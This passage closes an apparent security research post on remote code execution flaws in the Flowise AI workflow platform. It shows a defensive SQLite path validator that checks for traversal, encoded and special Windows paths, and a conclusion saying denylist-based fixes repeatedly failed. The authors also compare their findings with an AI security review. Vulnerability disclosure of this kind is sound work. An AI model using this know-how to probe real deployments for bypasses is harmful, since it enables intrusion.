    if (basePath.includes('..')) throw new Error('Invalid SQLite path: path traversal attempt detected')
    if (basePath.toLowerCase().includes('%2e') || basePath.toLowerCase().includes('%2f') || basePath.toLowerCase().includes('%5c'))
        throw new Error('Invalid SQLite path: encoded path traversal attempt detected')
    // eslint-disable-next-line no-control-regex
    if (/\0/.test(basePath) || /[\x00-\x1f]/.test(basePath))
        throw new Error('Invalid SQLite path: null bytes or control characters detected')
    if (/^[a-zA-Z]:\\/.test(basePath)) throw new Error('Invalid SQLite path: Windows absolute paths are not allowed')
    if (/^\\\\[^\\]/.test(basePath)) throw new Error('Invalid SQLite path: UNC paths are not allowed')
    if (/^\\\\\?\\/.test(basePath)) throw new Error('Invalid SQLite path: extended-length paths are not allowed')

    const resolvedPath = path.isAbsolute(basePath) ? path.resolve(basePath) : path.resolve(path.join(defaultDir, basePath))

    if (resolvedPath.includes('..')) throw new Error('Invalid SQLite path: path traversal detected in resolved path')

    if (!isPathWithinAllowedSQLiteDirs(resolvedPath, allowedDirs)) {
        throw new Error(
            `Invalid SQLite path: path must be within allowed directories (${allowedDirs.join(', ')}). Attempted path: ${resolvedPath}`
        )
    }

    return resolvedPath
}

<1> Always allow writing the database to the $HOME/.flowise folder.

While we were unable to find a bypass, we remain concerned about allowing users to write SQLite databases to the $HOME/.flowise folder, and we still recommend that SQLite operations be disabled by default in Flowise.

Conclusion

In this post, we walked through six RCE vulnerabilities we identified in Flowise, along with several bypasses of existing patches for previously disclosed issues. A recurring theme throughout this research was that fixes relying on denylists, module allowlists, or narrow input validation were repeatedly insufficient. As Flowise and similar AI workflow platforms continue to expand their feature sets, we expect this pattern of incomplete remediation to keep surfacing, particularly around sandboxing, environment configuration, and file handling primitives.

As part of this research, we also used Claude's publicly available AI security review capabilities to compare its results against our own human-led analysis. Claude identified some genuine security concerns, but the only RCE vulnerability it raised was the outdated vm2 dependency, rather than the Flowise-specific sandbox escape we discovered. That said, Claude proved valuable in assisting our testing: it identified variants and explained complex concepts quickly, which helped us uncover alternative exploit methods, as shown in the RCE via pandas (CSVAgent) and RCE via the SQLite Record Manager Node sections above. This underscores a broader distinction between AI-driven and AI-assisted discovery: in our experience, the latter consistently surfaced the more nuanced security issues.

Thanks for reading, and we hope you enjoyed the post.